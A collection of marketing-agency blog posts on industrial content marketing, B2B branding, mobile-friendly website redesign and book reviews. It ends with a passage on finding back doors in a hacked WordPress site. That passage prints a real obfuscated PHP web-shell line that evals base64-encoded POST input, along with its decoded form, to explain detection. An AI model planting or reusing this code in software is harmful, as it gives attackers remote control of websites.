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Plan for an Industrial Content Driven Marketing campaign

Fri, Jan 20, 2017 @ 04:54 PM / by Chuck Lohre posted in Industrial Advertising, Industrial Branding, Branding and Identity, Construction Equipment Marketing, Business to Business Marketing, B2B Marketing, B2B Advertising, Graphic Design, Advertising Design, Business to Business Advertising, Advertising Literature, Graphic Design Agency, Cincinnati Design, Design Agency, Advertising Agency, Industrial Content Driven Marketing

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Consumer media is getting very fractured, but industrial content driven marketing is still led by a few quality publishing houses. 

Sure you can spend hundreds of thousands of dollars on full page ads every month in your industrial trade publications. But you wouldn't be taking advantage of the invitation to supply educational and application articles to the publication as well. Industrial marketing is a partnership between you and the industrial publishing houses. And that includes trade shows as well. The best publishing companies also have the best shows.

 Industrial-Content-Marketing.jpg

 

But don't start your Industrial Content Driven Marketing by dropping your advertising programs. Sure industrial engineers use the Internet to find products and services but most times they aren't looking for cheap high volumes. LinkedIn Groups can't reach the audience a good industrial trade journal can. They have been at it for generations and even though many of them are getting slim they are getting better at serving up great content online. It is sort of like asking a 60 year old to start dating again but they are. Google wants to serve up the best results for their searchers and the vetted trade journals are the best. You can't find manufacturing engineering as a company description on Facebook. They keep asking us to change our client's descriptions to "Local Service."

So trim your advertising budget down to three placements a year in the top two or three publications and also make a commitment to provide two or three articles. They will cost you several thousand dollars each but they will be the gift that keeps on giving. If they rank well on the internet you can also promote them with Google, Bing or LinkedIn Adwords or Sponsored Content. Better yet tie your advertising to your content.

Industrial-Content-Driven-Marketing.jpg

The featured image in this blog post is the advertisement that promotes the technical article above. The article also goes on the client's website. Ads today are like landing pages on the internet. They are to promote a piece of content. How Hubspot would like you to get folks to exchange their email address for that content but that is much harder to achieve. Still, you can track how many visitors come to your site from the ads and content. And then adjust your media buy next year. 

And that sums up what's happening in the industrial marketing world. Publications are trying to migrate over to being completely digital not because they want to but because their readers are dying off. The editorial teams will continue to rule the content world, now we just have to find a way to pay them.

 

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Economical, Custom, Modular Motors and Drives

Fri, Jan 13, 2017 @ 01:40 PM / by Chuck Lohre posted in Industrial Advertising, Industrial Branding, Branding and Identity, Construction Equipment Marketing, Business to Business Marketing, B2B Marketing, B2B Advertising, Graphic Design, Advertising Design, Business to Business Advertising, Advertising Literature, Graphic Design Agency, Cincinnati Design, Design Agency, Advertising Agency

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ABM motors and drives are tailor-made specifically for the application whether it requires compact design, low-noise operation or maximum operating safety.

A flexible modular design system allows cost-effective low volume production runs. Custom motors and drives are available for a wide range of application types: forklifts, electric vehicles, lifting technology, biomass heating systems, textile machines, wind power control, warehouse logistics, high-speed doors, air compressors, construction equipment, packaging machinery and vehicle-inspection equipment. The high overall efficiency of ABM Drive helical and parallel shaft gearboxes reduces power input and energy consumption.

ABM-Drives-Economical-Custom-Motors-and-Drives-1.jpg

All products are engineered in-house. Components that represent a core competence are reliably produced in-house on state-of-the-art machine systems. This guarantees that electric motors, gearboxes, brakes and electronics are perfectly coordinated. Vertical integration of ABM Drive manufacturing includes tool-and-die engineering and aluminum die-casting to guarantee best implementation and integration of components to a compact drive unit. High-quality gearing guarantees quiet operation. Tight-fitting housing covers and flanges prevent distortions that can amplify noise. Aluminum housings absorb harmonics and other vibrations better than cast iron. 

A large center distance between the motor centerline and the hollow drive shaft centerline gives the application designer more freedom/clearance to integrate the unit into the application. Many layouts are possible, from integration of the motor into the gearbox housing, U mounting of the motor, to customizing the output shaft. The end result is a true plug-and-play motor and drive-unit solution designed to save time and money.

ABM DRIVE INC. engineers and manufacturers high-performance motor, gearbox, brake and frequency inverter solutions for machines, plants and mobile devices in hoisting technology, warehousing, material handling, electric vehicles, biomass heating systems, wind turbines and many other markets. Founded in 1927, the company belongs to the senata Group with an annual turnover of nearly 400 million € and more than 2,000 employees. Approximately 300,000 drive units are produced annually. In-house manufacturing includes tool-and-die design, aluminum-casting foundry, CNC housing machining, manufacturer of shafts, cutting of gear teeth, motor development technology, assembly and final testing.

PRESS CONTACT
ABM DRIVE INC.
Gabriel Venzin, President
394 Wards Corner Road, Suite 110, Loveland, OH 45140
Phone: 513 576 1300
Mobile: 513 332 7256
Website: www.abm-drives.com
E-mail: gabriel.venzin@abm-drives.com

AGENCY

Lohre & Assoc., Inc., Marketing Communications

Chuck Lohre, President
126A West 14th Street, 2nd Floor, Cincinnati, OH 45202-7535
Phone: 877-608-1736, 513-961-1174, Fax 513-961-1192
Mobile: 513-260-9025
Email: chuck@lohre.com

Reprinting permitted - specimen copy requested

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"Designing B2B Brands" - B2B Branding Lessons Update

Thu, Dec 29, 2016 @ 04:56 PM / by Chuck Lohre posted in Industrial Advertising, Industrial Branding, Branding and Identity, Construction Equipment Marketing, Business to Business Marketing, B2B Marketing, B2B Advertising, Graphic Design, Advertising Design, Business to Business Advertising, Advertising Literature, Graphic Design Agency, Cincinnati Design, Design Agency, Advertising Agency

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Branding lessons from Deloitte and 195,000 brand managers, by Carlos Martinez Onaindia & Brian Resnick. 

For our last post of 2016 we'd like to update our third most popular blog post ever. This book still stands out as the best B2B Branding Lessons we have ever seen. Get in touch if you would like a free copy.

Designing B2B Brands.jpg

Carlos Martinez Onaindia & Brian Resnick worked for Deloitte while writing the book.

Hubspot included Deloitte and GE websites in one of its promotional blog posts and we recognize them as a good examples of industrial marketing communications design. It's great news that we can go into more detail with one of our choices.

Designing B2B Brands, Ten Laws resized 600

Number 9. "Always be closing" is close to our heart; it emphasizes the objective of marketing communications. "Every communication should focus on achieving your end goal, and the audience should feel good about, or at least comfortable with, that result," perfectly sums up landing pages and calls-to-action.

Designing B2B Brands, Proposals resized 600

This chart brings to light some of Deloitte's strategies: "2. Understand - Get under the skin of the client and use the opportunity to better Deloitte's comparative competitive position, 4. Interact - Take every opportunity to demonstrate our credentials, improve our understanding and test The Deloitte Difference with the client, 8. Capitalize - Make the most of your investment by debriefing the team and the client, learning from what the client tells us, and developing on ongoing strategy to win work from the client." These strategies can be put to use for industrial equipment selling as well.

Designing B2B Brands, Executive Champions resized 600

This chart illustrates how a company's strategy's affects the message, "Lead by example, as their (executives) decisions have a direct impact on brand legacy and will ripple throughout the organization."

Feintool Achieve More With Less resized 600

Heinz Loosli, CEO of Feintool International Holding discusses the strategic advantage of Feintool in this interview for its customer magazine. In response to a question about the company's recovery from the automotive industry decline in 2009, he answers, "We brought new, innovative products to market, we have played more to our strengths and in doing so achieved some great successes in the market. We have also improved our ability to complete by implementing measures to increase efficiency. It is important to appreciate that it is not a case of one-off actions but ongoing commitment that will ensure our company has a successful future. The motto is: achieve more with less. We are constantly working on this..." This statement reflects both the company's equipment's strategic advantages but also good business practices. Feintool's metal part-making equipment takes plate steel and produces parts that are assembly ready without post machining. Their machines achieve more with less material and processing -- Loosli is using the same analogy for the company's management practises. You can download the entire Feintool magazine here. For the North American edition, Lohre & Associates wrote two articles, edited and printed the publication here in Cincinnati. We are honored to work with Feintool's Cincinnati offices and we feel the company's marketing communications are equal to Deloitte's.

Barry Salzberg's opening message for the book brings to light a similar focus, "There are 195,000 professionals around the world actively shaping the Deloitte identity on a daily basis. Brand-building of that scale requires a relentless focus on a unified vision and shared values, alongside a dynamic culture. There's tremendous opportunity if you get this right."

Heather Hancock, Global Managing Partner, Brand, defines Deloitte's businesss this way: "Deloitte is an advisory business whose brand relies on the daily actions of nearly 200,000 people in more than 150 countries being connected and reflecting the sane core commitments. We connect our people and our brand in myriad ways, always informed by a deep understanding of the marketplace and our clients' needs. And we take the long view, remaining committed to the task at hand whilst building value for our clients and our own firm long into the future. It delivers us client and personal growth, risk insulation and trust."

Designing B2B Brands, Faith The chart on the left gives insight to the reasons an industrial brand is of value: reputation, risk mitigation, client-building, loyalty and pride leads to the correlation between targeted brand investment and growth rate. Deloitte's business is deep market understanding to solve client problems. In a way industrial equipment is the same, the equipment is engineered to be an effective way for a company to be in business. Every company has to continually evolve to meet market changes, employee education and financial obligations. Deloitte is in the business of communication; many businesses are in the business of delivering a product. For a manufacturing company to understand the value of brand, it has to have an extremely clear understanding of the technology, engineering, economics of the market and the future. Every component in a machine tells the history of the company's brand. Someone at every company knows that story and that is where the brand starts.


We'll continue to look for branding examples that manufacturing company's can use to improve their marketing communications. If you get in touch to review your brand, we'll send you the Kindle version of this book. You'll enjoy it!

We can't begin to include all the great graphical information and examples in this review. The book covers every conceivable graphic problem and the solutions, meant more for the marketing communications manager of a company than the chief executives. In this review we wanted to climb to the 10,000-foot view of branding that often gets lost when you're manufacturing industrial equipment. But it does apply and Deloitte does a great job.

Hopefully GE will come out with a similar edition, they are in the machinery business! Writing those specifications and creating 3 views to make the brand come alive is what we do every day.

HOW Magazine introduced us to this 2013 book published by John Wiley & Sons, Inc., it's about Deloitte's branding and its implementation throughout the organization. We saw an ad on HOW's website.

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Manufacturing Industrial Brand Marketing

lead gen ebook resized 125

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Redesigning a Website to be Mobile-Friendly on a Budget

Thu, Jun 09, 2016 @ 03:02 PM / by Myke Amend posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Cincinnati Advertising Agencies, Advertising Agency, Web Design

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Website Redesign Does Not, Should Not Always Mean Replacement:

We all know how increasingly important having a mobile-friendly website has become to search engine placement, but for many reasons, a company might not be ready, or able to do a complete overhaul of an antiquated website or website design.

I am going to go over a few ways a company can hold onto the site they have (as well as a few reasons they might want to) while quickly and inexpensively bringing their site into the 2010s with mobile-friendly styling.

Common reasons not to upgrade a website:

  • It is not in the budget: This might because money was already recently put into a new website design, or that the ideal and perfect website for the company will require more capital than is currently available.
  • There isn't time: Funding aside, major web development tends to require time from the client for gathering promotional literature and other collateral materials, approving designs, flow charts/site maps, discussions on what the new website should be able to do. When it comes to building a new website, some level of collaboration is necessary.
  • Google and other search engines really like old sites: It is true that the older a website is, the more reliable the website appears to search, but one must also consider that regularly-updated sites are also favorable. The perfect mix, we've found, is having a site with an old domain, and regularly updating it.


Rome wasn't built in a day - Good websites also take time.

The very best sites are not made in a day, or even a month - The best websites are the product of years or more of regular updates and upgrades, close attention to not creating broken links in the process, and minor design improvements made regularly. This is especially true when it comes to SEO.

Coming from an artist who has spent over 20 years as a web developer, over a decade more doing graphic design, and an entire lifetime creating fine art: There really is something to be said for works that have had a lot of time, passion, and care for detail put into them. This level of attention to detail does not happen with purchased templates, it does not come with even the largest budget for website redesign. Sure, it can begin there, but the very best websites come from many, many minor changes.

As important as it is to regularly update your CMS (content management system) software, update plugins, check your site's and servers security, check for broken links, create new blog posts, create new pages, create other content, check directories and other inbound links - making regular minor changes to design, function, and architecture is what brings a website ever-closer to perfect.

"Minor changes"?? Making our website mobile-friendly is a huge undertaking!!

It is easy to think this. Your site might have a lot of pages... hundreds, even thousands. You might even have several different templates for several different types of pages within your site. Your site might even be built on an older/outdated CMS, a long-extinct version of one, or something completely proprietary and unsupported **

Regardless of the type of server you are running on, whether your pages are php, asp, HTML, regardless of what CMS you are using or how old your site is, the end result is that all web site pages are outputted as some sort of HTML, the language a web-browser reads to present a web page for your viewing, and all HTML is, or rather should be formatted with stylesheets - which are all some form of CSS.

Restyling/Redesigning the website to work well with mobile from here is mostly a matter of adding of taking these steps:

  • Adding the viewport meta tag to the header is the first thing I do: Re sizing my browser, I can see how the site and its pages are going to look at different widths, but for a lot of mobile devices the site will not present the same without this tag, which can be easily forgotten.
  • Use media queries within the css to make the web pages and their elements behave differently at different screen sizes: This is mostly a matter of making sure all elements (images, layers, paragraphs) have a max-width of 100% or less (including their margins, borders, and sometimes padding), and that their contents will not overflow those boundaries (by declaring how to treat overflow).
  • Make sure things fall properly into line: Images, layers, and paragraphs ideally should, most-often each take up the full width of a mobile device. I tend to make elements expand to this size, then add  "clear: both" and "float: none" to their styling.
  • Make sure they fall into the proper order: Things that were floating left end up above the elements that were to their right, this is not always the best order for viewing. Sometimes element a, b, and c need to be read top-to-bottom as c, b, and a. To address this, I tend to go the Flex/ Flex-flow/Order method, but this and a number of other methods are covered in this stack overflow thread.
  • Make a simple mobile menu/thumb menu: You need only use CSS to do this. A very simple drop down thumb menu can be found here, on Medialoot. Sometimes, especially if there are few pages, it is even more simple. For both Dynamic Industries (large scale machining) and Vertiflo Pump Company (vertical submersible centrifugal pumps), I didn't even make a thumb menu - I simply made it so that menu items fell into new rows, evenly, and gave them a layered tab appearance on mobile devices.

Mobile-friendly Website redesign for Dynamic IndustriesMobile-friendly Website redesign for Dynamic Industries

Above (left and right) The pages of this standard HTML site were given a mobile-friendly re-design through simple CSS styling changes. A mobile menu was also added simply by re-styling the existing links/navigation

Foreseeable difficulties:

For a lot of older, really older sites, or for sites that were designed by people with limited design knowledge, or no design knowledge at all, these are some common snags run into:

  • The website, site pages, or site content were created in MS Word: The result of this is a massively huge file, horribly coded, and especially badly-coded for trying to restyle with CSS. There is a large amount of proprietary code in there, and unique styles are applied to most every element, if not each and every character. There are a number of ways to clean this up, I am not going to recommend any of them in particular (but advise you try several of the free ones first).
  • There is no CSS style sheet, and there are no CSS styles applied: Actually, often this is even better - it means that you will not be fighting competing style declarations and addressing most things element by element. CSS will override HTML in most cases (unless there is inline CSS). Just attach a stylesheet to the pages or template and work from there.
  • There are inline styles for a number of elements or for every element: I really hate to use it, but if a very object-specific CSS declaration won't do, you can use "!important" at the end of your declarations to override these. Use them sparingly. If all else fails, any good text editor with "find/replace" can possibly be used (locally) to remove these as you find them. If these inline styles are used within post and page content, a good find/replace plugin might be available for your CMS. If it is Wordpress, I use "Better Search/Replace".
  • Tables??... who still uses tables?? A decade after most designers should have stopped using them, they are still a fairly common thing. Sometimes, they are even necessary... at least until Mozilla Firefox starts handling flex correctly. Though tables are something to be avoided for layout, they are still handy as far as what they were intended for: Displaying specs and data. Generally, if tables are used to layout content, I break them apart with "display: block; overflow: hidden; float: none; clear: both;" and then work on the styling from there. Since a majority of our clients are Industrial, and more specifically: in the process industry tables filled with data are pretty common. I use CSS to break lines and to rotate the table headers at smaller sizes, like so (LEFT/top: normal website view of the table, RIGHT/bottom: Mobile website view of the table):

Website Design: Table Rotation example 1web-design-table-rotation.png

 

So... Why are we doing this again?

1. Search engines now favor mobile-friendly websites.

2. Content that is mobile-friendly reaches a wider audience/is more accessible.

3. Content that is mobile-friendly is more likely to be shared, if only because of the wider audience provided by being mobile-friendly and having better search placement.

4. It is actually not as hard as it might seem:

I know it might seem like a lot of work, all of these steps might not be necessary, and taking these steps could get help your website by in the mean time, and possibly for a while - maybe much longer if the website is regularly kept up to date with internet standards. It is also often easier, and more cost-effective to maintain a website than it is to completely replace it. Making your website mobile-friendly will put you back on the right path.

These changes, are changes that should be applied over a handful of days, and improved upon as time goes by. If you do not have a web designer who is capable of doing this in this time frame, we'd be happy to help - Just contact us.

Making a website mobile-friendly is very important in that Google and other search providers use this as a standard when giving search placement. If you also consider that an increasing amount of website visitors are using cellphones or other mobile devices, and that this portion of visitors and potential visitors is fast-becoming the majority, you know that not having a mobile-friendly site is like being on only a very small portion of the internet. It is not a very nice thing to do to yourself, your company, or all those who might wish to be connected with your product or service.

 

 

 


** In the latter case: Yes, I would suggest some sort of overhaul - because any CMS or plugin version even an hour old might have some exploit or other vulnerability that will end in your site being loaded with malware and pharmaceutical ads, if it is not already. I won't go into that here, You can read more about that here, for the sake of this article I am going to assume your site is secure and sound against these things.

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Can you teach an old firm new tricks? One firm's story…

Tue, Jun 07, 2016 @ 10:29 AM / by Chuck Lohre posted in Process Equipment Marketing, marketing agency, Advertising Agency

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(From Richard Friedman of Friedman Partners e-news June 7, 2016. Thanks for the great example of how marketing is changing in the informationn age.)

Across the AEC and environmental consulting industries, firms that have been around a long time get lulled into doing things the way they've always done them. That's not always the best path forward — even when it's working well enough. In this issue of The Friedman File, I'm sharing the story of what happens when a firm that's been around for 120 years starts thinking very differently about its future. (In the interest of full disclosure, the firm highlighted is a client of Friedman & Partners.)

WaveShaperInstallation1.jpgAlden Research Laboratory (Holden, MA), a 100-person hydraulic modeling, flow testing, fisheries biology and engineering firm, has a clear market niche. Just 2 or 3 private firms in the U.S. do what they do and their workforce is comprised of highly specialized technical experts. For more than 100 years, they've built a business on trusted relationships and a passion for solving difficult fluid dynamics problems.

But like many firms in the AEC and environmental consulting industry, that alone doesn't insulate them from the ups and downs of the economy or the industry. That alone is not a plan for sustainable, reliable growth or for energizing and recruiting great talent.

For Stuart Cain, Alden's president, growing the firm's business into its next century means doing it in a way that offers more control over their workload and deepens the firm's sense of purpose as well as its profit margin.

Adding disciplines and becoming an EA firm — an option they considered — didn't fit the firm's core purpose or its small firm values. It would also put them into competition with a portion of their client base. Instead, Alden is reinventing their value proposition from the ground up, transforming the business from back-end service provider to visionary engineering partner and technology incubator.

"You have to take a hard look at how you've been doing business for the last 50 to 100 years and start asking what's a better way to do this?" Cain said. "Often we can solve a problem quicker and more cost effectively and help the end-user drive the design and construction process, and that is what we want to be doing."

To get there, Alden has embarked on a three-pronged strategic approach to future development, each of which is designed to build on the firm's unique history, core mission and current operations.

  1. Shifting the value proposition. While well-regarded for their ability to answer their clients' tough challenges with strong, innovative solutions, Alden's modeling, testing and engineering services are most often requested well into the design and construction process. Yet Cain knows that his firm can best serve utilities and municipalities, as well as the EA firms who service them, when they're consulting on the front-end to advise and influence facility design, construction and operation.
  2. So they're intentionally repositioning the firm to be that partner. For facility owners, that means shifting the value from buying modeling services to a more comprehensive solution: identifying the needs that they may not realize they have, preparing and complying with changing regulations, and reducing cost and time by testing and modeling up front to determine needs.
  1. Sharing knowledge and education. In-house seminars, webinars and professional articles are a part of the marketing toolbox at Alden. But rather than simply positioning the firm's expertise, the focus has switched to knowledge sharing, advising and engaging with clients on a more academic level as a leader in fluid dynamic consulting and education.
  2. "We've always followed the traditional marketing plan of visiting clients, conducting seminars and attending trade shows," Cain said. "We want to do it differently. We now see our role as teaching clients and helping them become more educated in areas they did not know would benefit their business, whether it's identifying facility challenges before they become problems and adversely impact operations or helping utility owners minimize the impact of regulations on their bottom line."
  1. Developing technology. Alden has a documented history of innovation, from the invention of the Alden dynamometer in the 1900s to the advanced hydro turbine technology it developed for the Department of Energy in 1998 and continues to refine to this day.
  2. "We come up with innovative ways to solve client problems all the time," says Cain. "We've thought that we could be helping others with these innovative design modifications, instruments and technologies in cases where we own the intellectual property, but developing that has not been a focus for us."
  3. It will be now. By leveraging their in-house technical skill and encouraging employees to incubate new ideas, Alden aims to become a global innovator of products and technologies that are essential to in the industries they serve.

Reinventing your firm's mission and vision isn't an overnight proposition, but Cain reports the effort has already begun to energize Alden's staff. Three director-level employees have been tapped to champion each of the three strategy areas, with employee input. Another is tasked with leading efforts to financially invest in the firm's bold vision. One staff proposal for a new technology product is already under evaluation. They're also soliciting important external feedback through a comprehensive survey of key clients.

When presenting the new direction to employees, Cain challenged them to think about where they see themselves fitting into the Alden of the future and invited personal discussions with those who weren't sure where they fit in.

"It's got our people thinking in more creative ways and that is already proving to be great for our clients," he said.

Are you, as a leader, encouraging bold ideas that have the potential to transform your firm? I'd love to hear about your challenges and successes. Call me at (508) 276-1101 or email me at rich@friedmanpartners.comch@friedmanpartners.com

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"Disrupted," Book Review - If industrial marketing was easy, everyone would be doing it.

Tue, May 31, 2016 @ 09:50 AM / by Chuck Lohre posted in Industrial Marketing, Inbound Marketing, Process Equipment Marketing, Cincinnati Marketing Agencies, Cincinnati Advertising Agency, marketing agency, Industrial Marketing Agency, Advertising Agency

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Disrupted Book Cover DesignHey, Dan Lyons, you don't know what you are talking about. I'm talking about marketing, but he's talking about tech start-ups and mid-life displacement. His book "Disrupted -- My Misadventure in the Start-Up Bubble," was released in April. Lyons' memoir traces his career -- he's a journalist with deep roots in the tech industry-- through being hired by a Boston area-based marketing software company start-up. But don't read Disrupted if you want to learn about Internet marketing.

Three years ago a prospect asked me to find a web site program that integrated a customer relationship management program with an easy-to-use content management system. After some research into WordPress, Eloqua, Marketo and Pardot; I pitched HubSpot (the company Lyons joined as a Marketing Fellow). I found the WYSIWYG (What You See Is What You Get) editing screens were easy and the price was right for what the prospect wanted. Never got the job with the pharmaceutical machinery company but signed the agency up for Hubspot and became a Partner.

From reading his book, Lyons hasn't described the basics of marketing. Know you audience, get to know their pain and offer solutions that move them to your solution. After nearly 40 years in the industrial marketing world, that method is similar to Dale Carnegie, Sandler Sales System and what I learned of P&G's marketing methods from coming across their educational tools to marketers. "Know your audience, where they are in their purchasing process" and create marketing materials that move them toward your solution. Sure Hubspot Culture (which we adopted with a grain of orange salt) fits the start-up culture Lyons describes but I always looked at them as offering good tools to measure and accomplish marketing goals.

Probably the most eye-opening thing I learned was HubSpot's call center. The whole idea of Inbound Marketing is to get away from call centers, but at least it's a warm call center and HubSpot is designed to create a pool of candidates that will finally need a call to move the needle.

But then his book returns to employee hijinks. Halloween Parties? Dan, everyone has dressed up for Halloween at their companies to one extent or another. I think you would be better off writing about accounting procedures rather than marketing. Marketing isn't a science. It's a bit of personality, a bit of application knowledge and a ton of perseverance. You have to contact prospects almost ten times to get the opportunity to make a sale. In the industrial world, you make friends for life because just like pollution, "Nothing Goes Away." The industrial marketing world is made up of hard working engineers that care about their customers and stick around. So my company isn't like Hubspot, but their software will teach you how to leverage the internet to market an industrial product.

Chuck Lohre, of Cincinnati Advertising, Branding, and Marketing Agency, Lohre & Associates inc.The really great thing about HubSpot is its educational track. They provide very detailed and expertly written videos to learn and a good test to take. I've gone through to "Partner" status and our programmer has accomplished the "Design" level. It's been hard to get our interns and even others on staff and associates to take the "Inbound" test so we all get-together and take their test together. It's fun; we re-enforce the methodology and the candidate get their badge. I wish you would have reported just a little bit about the history of industrial marketing, the perfect match for HubSpot, it started with the industrial revolution patent models and now has morphed into YouTube videos and webinars.

Back in 2013, internet marketing was starting to overwhelm me and I was lost as to how to advise my clients. When I learned about HubSpot and how to break down the sales education process into specific steps I could understand and had the software tools to implement; I was relieved. Now there is no internet marketing problem that I can't diagnose and solve. Hubspot gives you all the tools, white papers, spread sheets and calculators to take any good product from zero to 60 overnight. And to upgrade your website. Don't reinvent your website, fix the problems and measure results. Are committee meetings and irrelevant parties in your company throwing wrenches into you site redesign process? Try HubSpot's' "Growth Driven" site re-creation template. But be prepared to lock upper management, sales, marketing, and manufacturing in a room for a few days. Hubspot has the finest marketing education materials I have ever seen. The problem they face now is how to make it fun. Real learning, means turning the tv off, unplugging the phone and studying. "Inbound," HubSpot's annual conference puts a fun spin on the hard work of marketing. There's nothing wrong with that. I'm looking forward to seeing in person my teachers and counselors. They are my "Peeps." And I'm a 60 something, enjoying learning from kids that could be my children.

"Disrupted" is a good read and history of tech start-ups and the new business of selling a mysterious "Secret Sauce" from a company that loses money. To me, Google is the only one pulling it off. Its model is to create a search engine, sell ads on it, and give advertisers the tools to measure it. It's the fox guarding the hen house. We spend thousands of dollars per month on internet advertising. Very hard to measure success and very easy to lose thousands, instantly. Google sells me ads for chemical processing equipment and their measurement tools tell me that girls 18-24 in southern California are the majority of the folks that click on a machine that, "processes three cubic meters of material in an hour." That's the text of the ad! LinkedIn at least allows me only to advertise to specific companies or job titles. For that chemical processing equipment, they are only 13,000 appropriate titles worldwide. I only get chemical and mechanical engineers to join my LinkedIn Group from our advertising. I hope LinkedIn does make some money for their investors soon, but it doesn't matter to me. The "Emperor's New Clothes" have been the latest fashion for as long as an invisible thread has been sold.

Internet Marketing Graphic on Lead ForensicsI enjoyed the chapter on Salesforce, everything about the excess and nothing about the reason the software has such possibilities. Next week I'll be looking over a demo of LEADForensics. A program that mashes up your visitors Internet Provider (IP) address and the people that work at the company. Like Salesforce, this only works well if the company you are trying to sell to has their own IP address. The people that work there come from an open source, voluntary database that is maintained by users. I've used it since it was Jigsaw and is now owned by SalesForce. The possible power of all this is that you will be able to see who is visiting your site and what they are looking at. Normally you can only do this with HubSpot, and the other providers, because the visitor has given you their email address. But the time is coming, because of increased computing power and the cloud, that you will be able to know who is looking at your website without their giving you that information. Call it artificial intelligence or just guessing; it's coming. But I'm not convinced that I'll be persuaded next week because the engineers that are the salespersons for the companies I work for don't have time to chase luke warm artificial intelligence leads. Which brings up another problem inbound marketing has to solve, the buyer persona of one. When you are selling a quarter of a million dollar piece of equipment which includes a lifetime of service and maintenance, AI's not up to it yet. But it's coming!

Oh, and spending way too much on trade shows and conferences is no stranger to industrial sales, just worse! One of our clients told me once, "If the customer wants to go to a whore house, you go to a whore house, if he wants to go to church, you go to church!" But those "Mad Men martini lunch" days are long gone, today industrial equipment firms are very well run and good places to work. They are that way because many times 60 percent of their sales are from parts. You don't fire experience when you need it to stay in business. One firm I've worked for offers parts on machines made in 1946!. There are still very few women in manufacturing, mining and engineering and the trade shows are 95 percent men. The only real benefit in the young is smarts. If you can get along with others, have a high IQ (or just work harder) and are goal oriented, you will easily get a high paying job for life.

The apology that Lyons gives to Spinner, the person that nabbed the Times article (that Dan pissed all over) points out what's wrong with his disrespect for marketing. I'm the one that gets my clients published in the trade journals and my clients appreciate it. They would have gotten coached and would have been demoted if they pulled the stunt Halligan did. I'm past the midpoint of the book and Dan still hasn't explained what it is that makes Hubspot great software. Why I enjoy their educators, my small group coach and my account manager. We're focusing on basic marketing principals and developing content that gets the phone to ring. Instead of making fun of Marketing Mary I wish Lyons would have described her typical day and the understanding her boss has about internet marketing and the realistic goals they work together to accomplish. That's what makes Hubspot great, nowhere to be found in Disrupted.

In the end, Disrupted is about awful office politics and the journey of a 50-something displaced journalist. (I get that because I'm married to someone who has been through a similar career disruption). That happens when a company doesn't have employees that just do the right thing. I've found that if I have to micro-manage anyone, I made the wrong decision to hire them. It's my fault and I have to deal with it. I've struggled since 9/11 with trying to get the rudder back on the ship, but it's the economy that rises all boats. We work on the principal that we will always deliver the best job possible for our clients even if we lose money on the job. At least we'll know how to quote a similar job the next time. That's the base of our marketing pyramid, next is the referrals of the clients we have. The next level is the companies we meet at the major machine tool, chemical and mining conferences. Companies that are in Ohio, Kentucky and Indiana. At the top of the marketing pyramid is our web site. It's always been an educational site that gleams from nearly 40 years of learning best practices from creating attention-getting advertising to working with the technical journal editors and designing literature. We have the number one page on "Literature Design" on Google and Bing. HubSpot helps us focus these resources, add to them and properly promote them. That's what every good company should be doing and HubSpot can help you and your company do it. I'm all in.

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Removal of Back Doors from a Wordpress or other PHP-Driven Site

Wed, Apr 20, 2016 @ 03:09 PM / by Myke Amend posted in Website Design, Internet Design and Development, Web Design Company, Cincinnati Web Design Agency, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Design Agency, Advertising Agency

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Occasionally, when we are working on a new client's website, whether that is redesign, minor changes to make it responsive/mobile-friendly, repairing a broken site, or moving it over to our hosting, we'll run across a few previously-unknown issues. Actually we've come to expect this.

When people leave their old hosts or developers, there is usually a reason. We've had clients come to us with sites that were patched together to operate in substandard environments, and sites built on CMS that are no-longer supported - patched together over the years to operate in standard environments to the point where there is more patch than there is software.

We also tend to gain clients who want their site hosted someplace where their site is not one in a few hundred, or one in a few hundred-thousand sites hosted. They can't afford for their site or email to go down, and to go a day without notice.

Sometimes we're just liberating a client from a pointlessly expensive or otherwise problematic situation.

This is a story about in many, many site moves of this past year.... all of them interesting in their own way, but I took some extra time out to document this one...

Before the Big Move

Generally, if their site is not working - I'll try to fix their site before migrating it over. I'll at the very least update the software and run a security scan before downloading and exporting. In some cases, however, where the server/host is the problem, the site cannot be worked on in place.

How to be a Bad Web Host: Taking the "Control" out of "Control Panels"

A new client of ours had a website that had suddenly stopped working. When I took a look at the control panel, well... first thing I found was that I did not like the Host's control panel - it was a proprietary mess, laid out horribly, very limited in functionality compared to most, and many of these functions did not work at all. Another thing I found was that the client's files were still there and intact, just that PHP processing had been turned off for the entire site.

Typically, when a host just turns functionality off for a site, it is a pretty-good sign that the site has been hacked, or is otherwise misbehaving. Hosts will switch off/disable infected sites or sites that are causing issues with the server, but... one would hope that if they switched it off, they would have noted why. In this case they didn't email the customer to tell them that they disabled this site, one the host was still billing for. I suppose making notes was also just too much work, because they apparently had no idea why it was turned off, and non-ceremoniously turned it back on.

By the time they managed this, I had already downloaded the site, and exported the database, but it was good to have the site working again while we went through the process of transferring the domain. When I ran into some problems with the domain administration in their control panel not working, I read up about the host. From there I knew was going to be a very and slow painful process... which it was. I think the former host's only strategy for keeping customers is to make it very hard, near-impossible for customers to get away.

WITH ICANN, YOU CANN

Having mentioned my willingness to go through ICANN to make the switch happen, suddenly we had cooperation and the domain was unlocked. I still had to wait another 7 days for the former host to not contest the final transfer, because of course they were not going to use their energy to approve it - but that gave me a little time to set the site up in its future home.

By then, I had already created a new database, imported the tables, set up database users, set their permissions, pre-configured the domain pointing, and uploaded their site so that everything could be perfectly in place when the domain switched hands.

Watch Where You Put that WebSite - You Don't Know Where it's Been!

Since the hosted site was not working on the server when I downloaded the site and exported the database, and I hadn't the chance to upgrade the software or run a security scan, I decided it might be good to look through some of the files before the site went live. Looking for possible backdoors is pretty important at this stage, because we definitely don't want to bring those over to our server.

When doing this, hunting for back doors in-particular, one would think the easiest solution is to look for the most common signature: Base64_decode, but as you see below (what I found on the old site) - this is often scrambled like a sunday morning word jumble, strtolower is used to select characters from the jumbled letters in the first string into commands.

PHP Alphabet Soup

How this word jumble works is to use the help of the command 'eval', to make this:

<$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n764b3b'])) {eval($s21(${$s20}['n764b3b']));}?>

become this:

if(isset($_POST['n764b3b'])){eval(base64_decode($_POST['n764b3b']));

